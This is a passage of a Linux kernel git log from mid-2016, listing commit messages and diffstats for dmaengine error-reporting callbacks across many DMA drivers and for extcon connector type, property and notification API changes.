Documentation/dmaengine/provider.txt | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 72203572afd7aef243c182f19925e5a77a1dc6a1 Author: Dave Jiang Date: Wed Jul 20 13:14:13 2016 -0700 ntb: add DMA error handling for RX DMA Adding support on the rx DMA path to allow recovery of errors when DMA responds with error status and abort all the subsequent ops. Signed-off-by: Dave Jiang Acked-by: Allen Hubbe Cc: Jon Mason Cc: linux-ntb@googlegroups.com Signed-off-by: Vinod Koul drivers/ntb/ntb_transport.c | 83 ++++++++++++++++++++++++++++++++++++--------- 1 file changed, 67 insertions(+), 16 deletions(-) commit 9cabc2691e9d21b840b145a944f09299f895a7e0 Author: Dave Jiang Date: Wed Jul 20 13:14:07 2016 -0700 ntb: add DMA error handling for TX DMA Adding support on the tx DMA path to allow recovery of errors when DMA responds with error status and abort all the subsequent ops. Signed-off-by: Dave Jiang Acked-by: Allen Hubbe Cc: Jon Mason Cc: linux-ntb@googlegroups.com Signed-off-by: Vinod Koul drivers/ntb/ntb_transport.c | 110 +++++++++++++++++++++++++++++++++----------- 1 file changed, 83 insertions(+), 27 deletions(-) commit aed681d1dc72914d448e44a99e1dc89baa32d25c Author: Dave Jiang Date: Wed Jul 20 13:14:01 2016 -0700 dmaengine: ioatdma: add error strings to chanerr output Provide a mechanism to translate CHANERR bits to English strings in order to allow user to report more concise errors. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/ioat/dma.c | 65 ++++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 61 insertions(+), 4 deletions(-) commit 9546d4cdc8445acdea415f70a330bbfbd016a0f0 Author: Dave Jiang Date: Wed Jul 20 13:13:55 2016 -0700 dmaengine: ioatdma: Add error handling to ioat driver Adding error handling to the ioatdma driver so that when a read/write error occurs the error results are reported back and all the remaining descriptors are aborted. This utilizes the new dmaengine callback function that allows reporting of results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/ioat/dma.c | 140 ++++++++++++++++++++++++++++++++++++++----- drivers/dma/ioat/registers.h | 2 + 2 files changed, 126 insertions(+), 16 deletions(-) commit f067025bc676ba8d18fba5f959598339e39b86db Author: Dave Jiang Date: Wed Jul 20 13:13:50 2016 -0700 dmaengine: add support to provide error result from a DMA transation Adding a new callback that will provide the error result for a transaction. The result is allocated on the stack and the callback should create a copy if it wishes to retain the information after exiting. The result parameter is now defined and takes over the dummy void pointer we placed in the helper functions previously. dmaengine drivers should start converting to the new "callback_result" callback in order to receive transaction results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/dmaengine.h | 22 +++++++++++++++++----- include/linux/dmaengine.h | 16 ++++++++++++++++ 2 files changed, 33 insertions(+), 5 deletions(-) commit b1f884a5ff23534c3808926aeb62187be55e751e Author: Dave Jiang Date: Wed Jul 20 13:13:39 2016 -0700 dmaengine: xgene-dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/xgene-dma.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 4f03ac6a2da050591e6e78921cacdff1546418c3 Author: Dave Jiang Date: Wed Jul 20 13:13:33 2016 -0700 dmaengine: virt-dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/virt-dma.c | 17 +++++++---------- 1 file changed, 7 insertions(+), 10 deletions(-) commit d254c8d0a725f566dc83d4dda81980c63d7f3838 Author: Dave Jiang Date: Wed Jul 20 13:13:28 2016 -0700 dmaengine: txx9dmac: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/txx9dmac.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit a06a5bb908248cdc4f696ae5b6334e3b2e150fbc Author: Dave Jiang Date: Wed Jul 20 13:13:22 2016 -0700 dmaengine: timb_dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/timb_dma.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit 370c0446af5e3c8ddefbb753a1df84c278fff6d0 Author: Dave Jiang Date: Wed Jul 20 13:13:16 2016 -0700 dmaengine: tegra20-apb-dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Cc: Laxman Dewangan Signed-off-by: Vinod Koul drivers/dma/tegra20-apb-dma.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 3a315d5d4b3ba18062e8c5f0cfa5373768cb91d6 Author: Dave Jiang Date: Wed Jul 20 13:13:10 2016 -0700 dmaengine: ste_dma40: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Cc: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/ste_dma40.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit b8bdebb98a56c953808388295670f79b88313fd1 Author: Dave Jiang Date: Wed Jul 20 13:13:05 2016 -0700 dmaengine: sirf-dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/sirf-dma.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 964b2fd88bf5fffe2997663b04952f2d109f3b54 Author: Dave Jiang Date: Wed Jul 20 13:12:53 2016 -0700 dmaengine: sh_rcar-dmac: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/sh/rcar-dmac.c | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) commit 5ade6683e916df6a00a9747ccc40191fff83a064 Author: Dave Jiang Date: Wed Jul 20 13:12:47 2016 -0700 dmaengine: qcom_hidma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Acked-by: Sinan Kaya Signed-off-by: Vinod Koul drivers/dma/qcom/hidma.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 44967bf73352ccc0ea9346fc1c7dd805bc2279b5 Author: Dave Jiang Date: Wed Jul 20 13:12:40 2016 -0700 dmaengine: ppc4xx_adma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/ppc4xx/adma.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit f08462c650a7e2ec5b68adef94505e1c34fdb309 Author: Dave Jiang Date: Wed Jul 20 13:12:35 2016 -0700 dmaengine: pl330: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/pl330.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 5c066f7d01917ed76f2b8d395d7da3070ff16455 Author: Dave Jiang Date: Wed Jul 20 13:12:29 2016 -0700 dmaengine: pch_dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/pch_dma.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 0024b2ac374490de46bfd35c43002c7800ad14ed Author: Dave Jiang Date: Wed Jul 20 13:12:24 2016 -0700 dmaengine: nbpfaxi: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/nbpfaxi.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit 064370c6a1d97dda4b8827c02782587023c5c227 Author: Dave Jiang Date: Wed Jul 20 13:12:18 2016 -0700 dmaengine: mxs-dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/mxs-dma.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit ee7681a48063111c5bcb0385809ec2be90eabd70 Author: Dave Jiang Date: Wed Jul 20 13:12:13 2016 -0700 dmaengine: mv_xor: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/mv_xor.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit ad34636885bee29e473bea4e2540fe5fb8efb564 Author: Dave Jiang Date: Wed Jul 20 13:12:07 2016 -0700 dmaengine: mpc512x_dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/mpc512x_dma.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 81141bac700568afec626abda493310720077043 Author: Dave Jiang Date: Wed Jul 20 13:12:01 2016 -0700 dmaengine: mmp_tdma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/mmp_tdma.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 9c1e511cc6675f3e2102e4a69a5d6eda18cfacc1 Author: Dave Jiang Date: Wed Jul 20 13:11:56 2016 -0700 dmaengine: mmp_pdma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/mmp_pdma.c | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) commit 7a883acd3932fa3c24fef524d118b5784abb1c5e Author: Dave Jiang Date: Wed Jul 20 13:11:50 2016 -0700 dmaengine: mic_x100_dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Cc: Sudeep Dutt Signed-off-by: Vinod Koul drivers/dma/mic_x100_dma.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 80a7d64325e79b811dd26254785323ccb1337fd5 Author: Dave Jiang Date: Wed Jul 20 13:11:45 2016 -0700 dmaengine: ipu: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/ipu/ipu_idmac.c | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) commit db89e3c87715164abd7e2185a162499da1cdaa55 Author: Dave Jiang Date: Wed Jul 20 13:11:39 2016 -0700 dmaengine: iop-adma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/iop-adma.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 63992864a2a55026fb11d1c9c686d348b205ce1f Author: Dave Jiang Date: Wed Jul 20 13:11:33 2016 -0700 dmaengine: ioatdma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/ioat/dma.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit 48dc77e2d4fc2e5d85da6e6892f228a75272d040 Author: Dave Jiang Date: Wed Jul 20 13:11:28 2016 -0700 dmaengine: imx-sdma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/imx-sdma.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit be5af2855af50edb7e81a99bc3e8c725839c6eff Author: Dave Jiang Date: Wed Jul 20 13:11:22 2016 -0700 dmaengine: imx-dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/imx-dma.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit af1a5a5114e0f3646dbe1be0d42ec1a3a373223f Author: Dave Jiang Date: Wed Jul 20 13:11:17 2016 -0700 dmaengine: fsldma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Cc: Li Yang Signed-off-by: Vinod Koul drivers/dma/fsldma.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 1595c3e1bf4dc7d75d8623795040fc71d340ebe3 Author: Dave Jiang Date: Wed Jul 20 13:11:11 2016 -0700 dmaengine: fsl_raid: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/fsl_raid.c | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) commit dac86a148a8f363993dfe62931e0fb08d6108136 Author: Dave Jiang Date: Wed Jul 20 13:11:05 2016 -0700 dmaengine: ep93xx_dma: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/ep93xx_dma.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 577ef92512a5baf90233ab5d0dd6dd7dca33ee96 Author: Dave Jiang Date: Wed Jul 20 13:11:00 2016 -0700 dmaengine: dw: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Cc: Viresh Kumar Signed-off-by: Vinod Koul drivers/dma/dw/core.c | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) commit b310a619ab3fc78350e1dab4af0312af99c60b39 Author: Dave Jiang Date: Wed Jul 20 13:10:54 2016 -0700 dmaengine: cppi41: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/cppi41.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3ab553d9f5ade52fc72a49b66bb5c6e356c2ba42 Author: Dave Jiang Date: Wed Jul 20 13:10:48 2016 -0700 dmaengine: coh901318: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Cc: Linus Walleij Signed-off-by: Vinod Koul drivers/dma/coh901318.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit a1d4eaaf4021a3a0c1299f254faf7b50ca9ddbfa Author: Dave Jiang Date: Wed Jul 20 13:10:42 2016 -0700 dmaengine: at_xdmac: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Cc: Ludovic Desroches Signed-off-by: Vinod Koul drivers/dma/at_xdmac.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit dff232dab98154903970c1e6b36f47c9defbd0a2 Author: Dave Jiang Date: Wed Jul 20 13:10:37 2016 -0700 dmaengine: at_hdmac: convert callback to helper function This is in preperation of moving to a callback that provides results to the callback for the transaction. The conversion will maintain current behavior and the driver must convert to new callback mechanism at a later time in order to receive results. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Cc: Nicolas Ferre Signed-off-by: Vinod Koul drivers/dma/at_hdmac.c | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) commit f083f557186d77de5f14bf90aec1bfe2503cf513 Author: Dave Jiang Date: Wed Jul 20 13:10:31 2016 -0700 dmaengine: Add helper function to prep for error reporting Dmaengine does not provide a way to pass back the result from a DMA transaction through the callback function. We are adding dmaengine helper function in order to prep for a mechanism that allow result status and other information through the callback. The initial conversion will make the existing driver use these new helper functions but retain the original behavior of the code. However, the helper functions paves a way towards adding the result parameter through callback. Signed-off-by: Dave Jiang Reviewed-by: Lars-Peter Clausen Signed-off-by: Vinod Koul drivers/dma/dmaengine.h | 72 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 72 insertions(+) commit 2eab9b1a3006b4f7bf49c55ce23943170a0068db Author: Dave Jiang Date: Thu Jul 21 12:40:52 2016 -0700 dmaengine: ioatdma: fix uninitialized array usage Static analysis showed that unitialized array is being used for compare. At line 850 when a dma_mapping_error() occurs, it jumps to dma_unmap. At this point, dma_srcs has not been initialized. However, the code after dma_unmap label checks dma_srcs for a comparison and thus is comparing to random garbage in the array. Given that when dest_dma is being mapped this is the first instance of mapping DMA memory and failed, there is really nothing to be cleaned up and thus should jump to free_resources label instead. Signed-off-by: Dave Jiang Signed-off-by: Vinod Koul drivers/dma/ioat/init.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7fe95fb889faf07ee438384858d38b820973397e Author: Chanwoo Choi Date: Fri Aug 5 18:15:46 2016 +0900 extcon: Add new EXTCON_CHG_WPT for Wireless Power Transfer device This patchs add the new EXTCON_CHG_WPT for Wireless Power Transfer[1]. The Wireless Power Transfer is the transmission of electronical energy from a power source. The EXTCON_CHG_WPT has the EXTCON_TYPE_CHG. [1] https://en.wikipedia.org/wiki/Wireless_power_transfer Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 5 +++++ include/linux/extcon.h | 1 + 2 files changed, 6 insertions(+) commit 9c0595d688e9deb337ff8901bb25281cdb19050b Author: Chanwoo Choi Date: Fri Aug 5 17:49:23 2016 +0900 extcon: Add new EXTCON_DISP_HMD for Head-mounted Display device This patch adds the new EXTCON_DISP_HMD id for Head-mounted Display[1] device. The HMD device is usually for USB connector type So, the HMD connector has the two extcon types of both EXTCON_TYPE_DISP and EXTCON_TYPE_USB. [1] https://en.wikipedia.org/wiki/Head-mounted_display Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 5 +++++ include/linux/extcon.h | 1 + 2 files changed, 6 insertions(+) commit 2164188d57f8862f1b69e2c5b7c0585f01077bee Author: Chris Zhong Date: Fri Jul 22 01:13:02 2016 +0900 extcon: Add EXTCON_DISP_DP and the property for USB Type-C Add EXTCON_DISP_DP for the Display external connector. For Type-C connector the DisplayPort can work as an Alternate Mode(VESA DisplayPort Alt Mode on USB Type-C Standard). The Type-C support both normal and flipped orientation, so add a property to extcon. Signed-off-by: Chris Zhong Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 5 +++++ include/linux/extcon.h | 8 +++++++- 2 files changed, 12 insertions(+), 1 deletion(-) commit ab11af049f88f059a73f679fb050bd7abb98d24b Author: Chanwoo Choi Date: Fri Jul 22 13:16:34 2016 +0900 extcon: Add the synchronization extcon APIs to support the notification This patch adds the synchronization extcon APIs to support the notifications for both state and property. When extcon_*_sync() functions is called, the extcon informs the information from extcon provider to extcon client. The extcon driver may need to change the both state and multiple properties at the same time. After setting the data of a external connector, the extcon send the notification to client driver with the extcon_*_sync(). The list of new extcon APIs as following: - extcon_sync() : Send the notification for each external connector to synchronize the information between extcon provider driver and extcon client driver. - extcon_set_state_sync() : Set the state of external connector with noti. - extcon_set_property_sync() : Set the property of external connector with noti. For example, case 1, change the state of external connector and synchronized the data. extcon_set_state_sync(edev, EXTCON_USB, 1); case 2, change both the state and property of external connector and synchronized the data. extcon_set_state(edev, EXTCON_USB, 1); extcon_set_property(edev, EXTCON_USB, EXTCON_PROP_USB_VBUS 1); extcon_sync(edev, EXTCON_USB); case 3, change the property of external connector and synchronized the data. extcon_set_property(edev, EXTCON_USB, EXTCON_PROP_USB_VBUS, 0); extcon_sync(edev, EXTCON_USB); case 4, change the property of external connector and synchronized the data. extcon_set_property_sync(edev, EXTCON_USB, EXTCON_PROP_USB_VBUS, 0); Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 210 +++++++++++++++++++++++++++++++----------------- include/linux/extcon.h | 30 ++++++- 2 files changed, 164 insertions(+), 76 deletions(-) commit 575c2b867ee0c2affdd309f375c032c0c7dc219c Author: Chanwoo Choi Date: Fri Jul 22 13:03:17 2016 +0900 extcon: Rename the extcon_set/get_state() to maintain the function naming pattern This patch just renames the existing extcon_get/set_cable_state_() as following because of maintaining the function naming pattern like as extcon APIs for property. - extcon_set_cable_state_() -> extcon_set_state() - extcon_get_cable_state_() -> extcon_get_state() But, this patch remains the old extcon_set/get_cable_state_() functions to prevent the build break. After altering new APIs, remove the old APIs. Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 28 +++++++++++++--------------- include/linux/extcon.h | 25 ++++++++++++++++++------- 2 files changed, 31 insertions(+), 22 deletions(-) commit 7f2a0a1699b51bfd738f1e0b15e057996fe1f259 Author: Chanwoo Choi Date: Mon Jul 25 21:15:19 2016 +0900 extcon: Add the support for the capability of each property This patch adds the support of the property capability setting. This function decides the supported properties of each external connector on extcon provider driver. Ths list of new extcon APIs to get/set the capability of property as following: - int extcon_get_property_capability(struct extcon_dev *edev, unsigned int id, unsigned int prop); - int extcon_set_property_capability(struct extcon_dev *edev, unsigned int id, unsigned int prop); Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 140 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/extcon.h | 22 ++++++++ 2 files changed, 162 insertions(+) commit 792e7e9e5d4358bc6157152b2c07b94eb9e261b0 Author: Chanwoo Choi Date: Mon Jul 11 19:30:43 2016 +0900 extcon: Add the support for extcon property according to extcon type This patch support the extcon property for the external connector because each external connector might have the property according to the H/W design and the specific characteristics. - EXTCON_PROP_USB_[property name] - EXTCON_PROP_CHG_[property name] - EXTCON_PROP_JACK_[property name] - EXTCON_PROP_DISP_[property name] Add the new extcon APIs to get/set the property value as following: - int extcon_get_property(struct extcon_dev *edev, unsigned int id, unsigned int prop, union extcon_property_value *prop_val) - int extcon_set_property(struct extcon_dev *edev, unsigned int id, unsigned int prop, union extcon_property_value prop_val) Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 201 +++++++++++++++++++++++++++++++++++++++++++++++- include/linux/extcon.h | 81 +++++++++++++++++++ 2 files changed, 281 insertions(+), 1 deletion(-) commit 55e4e2f129c6664c14166a30f4e0e933ebb61d9b Author: Chanwoo Choi Date: Mon Jul 11 16:34:52 2016 +0900 extcon: Add the extcon_type to gather each connector into five category This patch adds the new extcon type to group the each connecotr into following five category. This type would be used to handle the connectors as a group unit instead of a connector unit. - EXTCON_TYPE_USB : USB connector - EXTCON_TYPE_CHG : Charger connector - EXTCON_TYPE_JACK : Jack connector - EXTCON_TYPE_DISP : Display connector - EXTCON_TYPE_MISC : Miscellaneous connector Also, each external connector is possible to belong to one more extcon type. In caes of EXTCON_CHG_USB_SDP, it have the EXTCON_TYPE_CHG and EXTCON_TYPE_USB. Signed-off-by: Chanwoo Choi Tested-by: Chris Zhong Tested-by: Guenter Roeck Signed-off-by: MyungJoo Ham Reviewed-by: Guenter Roeck drivers/extcon/extcon.c | 159 +++++++++++++++++++++++++++++++++++++++--------- include/linux/extcon.h | 9 +++ 2 files changed, 139 insertions(+), 29 deletions(-) commit 2c8116a1110a93f298b10339d773fb055a0c04d7 Author: Maninder Singh Date: Mon Aug 1 14:51:30 2016 +0530 extcon: Fix compile time warning This patch fixes below compilation warning:- drivers/extcon/extcon.c: In function extcon_register_notifier: drivers/extcon/extcon.c:455:6: warning: idx may be used uninitialized in this function [-Wmaybe-uninitialized] if (idx >= 0) { Signed-off-by: Vaneet Narang Signed-off-by: Maninder Singh [cw00.choi : Modify the patch title using the a captical letter for first char] Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 912465bcf869660900cf77c4761869048f3ff063 Author: Chanwoo Choi Date: Fri Jul 1 02:41:18 2016 +0900 extcon: Block the bit masking operation for cable state except for extcon core This patch restrict the usage of extcon_update_state() in the extcon core because the extcon_update_state() use the bit masking to change the state of external connector. When this function is used in device drivers, it may occur the probelm with the handling mistake of bit masking. Also, this patch removes the extcon_get/set_state() functions because these functions use the bit masking which is reluctant way. Instead, extcon provides the extcon_set/get_cable_state_() functions. Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 20 +------------------- include/linux/extcon.h | 30 ------------------------------ 2 files changed, 1 insertion(+), 49 deletions(-) commit 5d5321e90a69881a6e92604b73f7c8e8ca473373 Author: Chanwoo Choi Date: Mon Jul 18 15:39:28 2016 +0900 extcon: Remove the state_store() to prevent the wrong access This patch removes the state_store() which change the state of external connectors with bit masking on user-space. It is wrong access to modify the change the state of external connectors. Signed-off-by: Chanwoo Choi drivers/extcon/extcon.c | 21 +-------------------- 1 file changed, 1 insertion(+), 20 deletions(-) commit 7575591c2db8cbf4ba543cb9bcb6a4cdd5a7aa97 Author: Chanwoo Choi Date: Thu Jul 21 20:00:29 2016 +0900 extcon: gpio: Remove the usage of extcon_set_state() This patch removes the usage of extcon_set_state() because it uses the bit masking to change the state of external connectors. The extcon framework should handle the state by extcon_set_cable_state_() with extcon id. Signed-off-by: Chanwoo Choi drivers/extcon/extcon-gpio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a7da72eeec78b8ce08a99d132b3e269942b977eb Author: Chanwoo Choi Date: Mon Jul 18 16:16:29 2016 +0900 extcon: adc-jack: Remove the usage of extcon_set_state() This patch removes the usage of extcon_set_state() because it uses the bit masking to change the state of external connectors. The extcon framework should handle the state by extcon_set/get_cable_state_() with extcon id. Signed-off-by: Chanwoo Choi drivers/extcon/extcon-adc-jack.c | 26 ++++++++++++++------------ include/linux/extcon/extcon-adc-jack.h | 4 ++-- 2 files changed, 16 insertions(+), 14 deletions(-) commit 5475e6317525b37241766c2e87731fd152e1150b Author: Chanwoo Choi Date: Fri Jul 1 02:36:49 2016 +0900 extcon: arizona: Remove the usage of extcon_update_state() This patch remvoes the usage of extcon_update_state() because the extcon_update_state() use directly the bit masking calculation to change the state of external connector without the unique id of external connector. It makes the code diffcult to read it. So, this patch uses the extcon_set_cable_state_() instead. Signed-off-by: Chanwoo Choi Acked-by: Charles Keepax drivers/extcon/extcon-arizona.c | 11 